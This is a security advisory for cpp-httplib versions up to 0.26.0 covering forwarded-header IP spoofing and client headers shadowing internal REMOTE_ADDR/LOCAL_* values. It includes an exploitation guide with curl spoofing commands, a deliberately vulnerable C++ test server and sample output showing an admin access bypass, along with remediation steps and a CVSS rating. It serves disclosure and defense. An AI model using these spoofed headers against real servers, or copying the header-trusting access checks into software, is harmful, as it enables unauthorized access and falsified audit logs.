Skip to content

Untrusted HTTP Header Handling: X-Forwarded-For/X-Real-IP Trust and Internal Header Shadowing (REMOTE*/LOCAL*)

Critical
yhirose published GHSA-xm2j-vfr9-mg9m Oct 28, 2025

Package

No package listed

Affected versions

<=0.26.0

Patched versions

0.27.0

Description

Vulnerability Details

Description

Multiple related vulnerabilities allow attacker-controlled HTTP headers to influence server-visible metadata, logging, and authorization decisions. An attacker can:

  • (A) supply X-Forwarded-For or X-Real-IP headers which get accepted unconditionally by get_client_ip() in docker/main.cc, causing access and error logs (nginx_access_logger / nginx_error_logger) to record spoofed client IPs (log poisoning / audit evasion), and
  • (B) inject headers named REMOTE_ADDR, REMOTE_PORT, LOCAL_ADDR, LOCAL_PORT that are parsed into the request header multimap via read_headers() in httplib.h (headers.emplace), then the server later appends its own internal metadata using the same header names in Server::process_request without erasing duplicates. Because Request::get_header_value returns the first entry for a header key (id == 0) and the client-supplied headers are parsed before server-inserted headers, downstream code that uses these header names may inadvertently use attacker-controlled values. Affected files/locations: cpp-httplib/httplib.h (read_headers, Server::process_request, Request::get_header_value, get_header_value_u64) and cpp-httplib/docker/main.cc (get_client_ip, nginx_access_logger, nginx_error_logger). Attack surface: attacker-controlled HTTP headers in incoming requests flow into the Request.headers multimap and into logging code that reads forwarded headers, enabling IP spoofing, log poisoning, and authorization bypass via header shadowing.

Worst Case Impact

An unauthenticated remote attacker can cause both (1) authorization bypass by spoofing internal metadata (e.g., REMOTE_ADDR) so middleware or handlers that trust these header values grant access (e.g., allowing access to admin or localhost-only endpoints), and (2) persistent corruption of access/error logs by poisoning recorded client IPs via X-Forwarded-For/X-Real-IP. The combined result is high-severity: unauthorized access to protected resources (integrity/availability of application controls compromised) and loss of trustworthy audit trails (integrity and non-repudiation broken), enabling attackers to evade detection and implicate innocent parties.

Vulnerability Class Information

Trusting client-controlled HTTP headers as authoritative internal metadata or client address information is insecure. HTTP headers are trivially forgeable by remote clients and the header namespace can collide with server-inserted metadata. Without validation of forwarded headers, a trusted reverse-proxy boundary, removal of conflicting client-supplied headers, or a distinct namespace/api for internal metadata, attackers can spoof IP addresses, poison logs, and shadow internal headers to influence authorization, auditing, and policy enforcement.


Vulnerability Flow Analysis

Step 1

  • Affected File: cpp-httplib/httplib.h
  • Code:
    inline bool read_headers(Stream &strm, Headers &headers) {
    ...
    if (!parse_header(line_reader.ptr(), end,
    [&](const std::string &key, const std::string &val) {
    headers.emplace(key, val);
    })) {
    return false;
    }
    ...
    }

Step 2

  • Affected File: cpp-httplib/httplib.h

  • Code:

    inline bool
    Server::process_request(Stream &strm, const std::string &remote_addr,
    int remote_port, const std::string &local_addr,
    int local_port, bool close_connection,
    bool &connection_closed,
    const std::function<void(Request &)> &setup_request) {
    ...
    req.remote_addr = remote_addr;
    req.remote_port = remote_port;
    req.set_header("REMOTE_ADDR", req.remote_addr);
    req.set_header("REMOTE_PORT", std::to_string(req.remote_port));
    req.local_addr = local_addr;
    req.local_port = local_port;
    req.set_header("LOCAL_ADDR", req.local_addr);
    req.set_header("LOCAL_PORT", std::to_string(req.local_port));
    ...
    }
    
        ```

Step 3

  • Affected File: cpp-httplib/httplib.h
  • Code:
    inline std::string Request::get_header_value(const std::string &key,
    const char \*def, size_t id) const {
    return detail::get_header_value(headers, key, def, id);
    }
    inline size_t get_header_value_u64(const Headers &headers,
      const std::string &key, size_t def,
      size_t id, bool &is_invalid_value) {
      auto rng = headers.equal_range(key);
      auto it = rng.first; // first entry for key is returned for id == 0
      std::advance(it, static_cast<ssize_t>(id));
      ...
      }

Example in Docker

Step 1

  • Affected File: cpp-httplib/docker/main.cc
  • Code:
    std::string get_client_ip(const Request &req) {
    auto forwarded_for = req.get_header_value("X-Forwarded-For");
    if (!forwarded_for.empty()) {
    auto comma_pos = forwarded_for.find(',');
    if (comma_pos != std::string::npos) {
    return forwarded_for.substr(0, comma_pos);
    }
    return forwarded_for;
    }
    auto real_ip = req.get_header_value("X-Real-IP");
    if (!real_ip.empty()) { return real_ip; }
    return "127.0.0.1";
    }

Step 2

  • Affected File: cpp-httplib/docker/main.cc
  • Code:
    void nginx_access_logger(const Request &req, const Response &res) {
    auto remote_addr = get_client_ip(req);
    ...
    std::cout << std::format("{} - {} [{}] \"{}\" {} {} \"{}\" \"{}\"",
    remote_addr, remote_user, time_local, request,
    status, body_bytes_sent, http_referer,
    http_user_agent)
    << std::endl;
    }
        ```

Step 3

  • Affected File: cpp-httplib/docker/main.cc
  • Code:
    void nginx_error_logger(const Error &err, const Request *req) {
    auto time_local = get_error_time_format();
    std::string level = "error";
    if (req) {
    auto client_ip = get_client_ip(*req);
    auto request = std::format("{} {} {}", req->method, req->path, req->version);
    auto host = req->get_header_value("Host");
    if (host.empty()) host = "-";
    std::cerr << std::format("{} [{}] {}, client: {}, request: \"{}\", host: \"{}\"",
    time_local, level, to_string(err), client_ip, request, host)
    << std::endl;
    } else {
    std::cerr << std::format("{} [{}] {}", time_local, level, to_string(err))
    << std::endl;
    }}

Exploitation Guide

Prerequisites

  • The Docker server described in Docker/main.cc
  • The server accepts arbitrary client-supplied HTTP headers (default behavior of cpp-httplib)
  • Network access to send crafted HTTP requests with custom headers

Part A: Log Poisoning via X-Forwarded-For/X-Real-IP Headers

Step 1
  • Description: Confirm server is reachable
  • Command:
curl -i http://127.0.0.1/
  • Output:
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
... (Welcome page HTML) ...
Step 2
  • Description: Send request with spoofed X-Forwarded-For and verify logs reflect the spoofed IP
  • Command:
curl -i -H "X-Forwarded-For: 203.0.113.66" http://127.0.0.1/ && sleep 1 && grep -n "203.0.113.66" -n /projects/cpp-httplib/cpp-httplib-server.log || true
  • Output:
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
...
33:203.0.113.66 - - [10/Sep/2025:22:12:06 +0000] "GET / HTTP/1.1" 200 0 "-" "curl/8.14.1"
Step 3
  • Description: Send request with X-Real-IP header and verify logs reflect the spoofed IP
  • Command:
curl -i -H "X-Real-IP: 198.51.100.77" http://127.0.0.1/ && sleep 1 && grep -n "198.51.100.77" /projects/cpp-httplib/cpp-httplib-server.log || true
  • Output:
HTTP/1.1 200 OK
Content-Length: 599
Content-Type: text/html
Server: cpp-httplib-server/0.26.0
...
34:198.51.100.77 - - [10/Sep/2025:22:12:11 +0000] "GET / HTTP/1.1" 200 0 "-" "curl/8.14.1"

Part B: Header Override Vulnerability (REMOTE_ADDR/PORT Spoofing)

Prerequisites

  • A vulnerable server application built with cpp-httplib that uses get_header_value("REMOTE_ADDR"|"REMOTE_PORT"|"LOCAL_ADDR"|"LOCAL_PORT") for IP-based decisions
  • The server accepts arbitrary client-supplied HTTP headers (default behavior of cpp-httplib)
  • Network access to send crafted HTTP requests with custom headers

Target: Use the vulnerable test server example below that demonstrates get_header_value() misuse

Vulnerable Test Server for Header Override Testing

File: header_override_vulnerable_server.cpp

#include "httplib.h"
#include <iostream>

int main() {
    httplib::Server server;

    // Vulnerable endpoint that trusts REMOTE_ADDR header for security decisions
    server.Get("/admin/users", [](const httplib::Request& req, httplib::Response& res) {
        // VULNERABLE: Using get_header_value for security decisions
        auto remote_addr = req.get_header_value("REMOTE_ADDR");
        auto remote_port = req.get_header_value("REMOTE_PORT");

        // Log the vulnerability evidence
        std::cout << "=== Admin Users Request ===" << std::endl;
        std::cout << "get_header_value(REMOTE_ADDR): " << remote_addr << std::endl;
        std::cout << "get_header_value(REMOTE_PORT): " << remote_port << std::endl;

        // Simulate IP-based access control (VULNERABLE!)
        res.set_content(
            "Admin Users Page\n"
            "Detected REMOTE_ADDR: " + remote_addr + "\n"
            "Detected REMOTE_PORT: " + remote_port + "\n",
            "text/html"
        );
    });

    // Another vulnerable endpoint demonstrating access control bypass
    server.Get("/profile", [](const httplib::Request& req, httplib::Response& res) {
        auto spoofed_ip = req.get_header_value("REMOTE_ADDR");

        // Vulnerable access control logic based on IP ranges
        bool is_internal = (spoofed_ip.find("192.168.") == 0 ||
                           spoofed_ip.find("10.0.") == 0 ||
                           spoofed_ip == "127.0.0.1");

        std::string access_level = is_internal ? "ADMIN" : "USER";

        res.set_content(
            std::string("Profile Page - ") + (is_internal ? "Internal" : "External") + " Access Granted\n"
            "Your IP: " + spoofed_ip + " (" + (is_internal ? "appears as internal network" : "external") + ")\n"
            "Access Level: " + access_level + (is_internal ? " (bypassed IP restrictions)" : "") + "\n",
            "text/html"
        );
    });

    std::cout << "Header Override Vulnerable Server starting on http://localhost:8080" << std::endl;
    std::cout << "Test endpoints:" << std::endl;
    std::cout << "  - http://localhost:8080/admin/users" << std::endl;
    std::cout << "  - http://localhost:8080/profile" << std::endl;

    server.listen("0.0.0.0", 8080);
    return 0;
}

Compilation:

# Download cpp-httplib header
wget https://raw.githubusercontent.com/yhirose/cpp-httplib/master/httplib.h

# Compile the vulnerable server
g++ -std=c++17 -pthread header_override_vulnerable_server.cpp -o header_override_vulnerable_server

# Run the server
./header_override_vulnerable_server

Header Override Test Steps

Step 1
  • Description: Baseline access without spoofed headers to establish normal behavior
  • Command:
curl -i http://localhost:8080/admin/users
  • Expected Output:
HTTP/1.1 200 OK
Content-Type: text/html

Admin Users Page
Detected REMOTE_ADDR: 127.0.0.1
Detected REMOTE_PORT: 52345
  • Server Console Shows:
=== Admin Users Request ===
get_header_value(REMOTE_ADDR): 127.0.0.1
get_header_value(REMOTE_PORT): 52345
Step 2
  • Description: CRITICAL: Header Override Attack - Spoofing REMOTE_ADDR header
  • Command:
curl -i -H "REMOTE_ADDR: 127.0.0.1" -H "REMOTE_PORT: 443" http://localhost:8080/admin/users
  • Expected Output:
HTTP/1.1 200 OK
Content-Type: text/html

Admin Users Page
Real client IP: ::1
Detected REMOTE_ADDR: 127.0.0.1  ← Spoofed value (also localhost in the tests, but can be anything)
Detected REMOTE_PORT: 443         ← Spoofed value
  • Server Console Shows:
=== Admin Users Request ===
get_header_value(REMOTE_ADDR): 127.0.0.1  ← ATTACKER CONTROLLED
get_header_value(REMOTE_PORT): 443         ← ATTACKER CONTROLLED

Headers multimap contents:
REMOTE_ADDR: 127.0.0.1   ← Client-supplied (returned first)
REMOTE_ADDR: ::1         ← Server-supplied (ignored)
REMOTE_PORT: 443         ← Client-supplied (returned first)
REMOTE_PORT: 52346       ← Server-supplied (ignored)
Step 3
  • Description: IP-based Access Control Bypass - Internal Network Spoofing
  • Command:
curl -i -H "REMOTE_ADDR: 192.168.1.100" http://localhost:8080/profile
  • Expected Output:
HTTP/1.1 200 OK
Content-Type: text/html

Profile Page - Internal Access Granted
Your IP: 192.168.1.100 (appears as internal network)
Real IP: 127.0.0.1 (actual client)
Access Level: ADMIN (bypassed IP restrictions)
Step 4
  • Description: External IP Test - Confirming Access Control Logic
  • Command:
curl -i -H "REMOTE_ADDR: 203.0.113.1" http://localhost:8080/profile
  • Expected Output:
HTTP/1.1 200 OK
Content-Type: text/html

Profile Page - External Access Granted
Your IP: 203.0.113.1 (external)
Real IP: 127.0.0.1 (actual client)
Access Level: USER
Step 5
  • Description: Multiple Header Values - First-Wins Behavior Verification
  • Command:
curl -i -H "REMOTE_ADDR: 10.0.0.1" -H "REMOTE_ADDR: 10.0.0.2" http://localhost:8080/profile
  • Expected Output:
HTTP/1.1 200 OK
Content-Type: text/html

Profile Page - Internal Access Granted
Your IP: 10.0.0.1 (appears as internal network)  ← FIRST VALUE WINS
Real IP: 127.0.0.1 (actual client)
Access Level: ADMIN (bypassed IP restrictions)

Remediation Approach

  1. Prevent Header Namespace Collision:

    • Do NOT insert internal metadata (REMOTE_ADDR, REMOTE_PORT, LOCAL_ADDR, LOCAL_PORT) into the public headers map
    • Use dedicated Request object properties (req.remote_addr, req.remote_port, etc.) exclusively for internal metadata
    • Applications should access connection info via req.remote_addr, NOT get_header_value("REMOTE_ADDR")
  2. Sanitize Client Headers:

    • Block or strip client-supplied headers with reserved internal names before processing
    • Implement header name validation to reject REMOTE**/LOCAL** headers from clients
  3. Fix Header Processing Order:

    • If headers must be used for metadata, clear any existing client-supplied duplicates before server insertion
    • Modify get_header_value() to prioritize server-inserted values for internal header names
    • Consider separate namespaces for client vs. server headers
  4. Validate Forwarded Headers:

    • Only trust X-Forwarded-For/X-Real-IP from authenticated reverse proxies
    • Validate IP address format and ranges for forwarded headers
    • Implement trusted proxy IP whitelist before accepting forwarded headers

Verification Steps (after fix):

  • Test that get_header_value("REMOTE_ADDR") returns actual connection IP, not client-supplied values
  • Verify client cannot override internal metadata through HTTP headers
  • Confirm IP-based access controls use authentic connection information

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. Learn more on MITRE.

Interpretation Conflict

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state. Learn more on MITRE.

Credits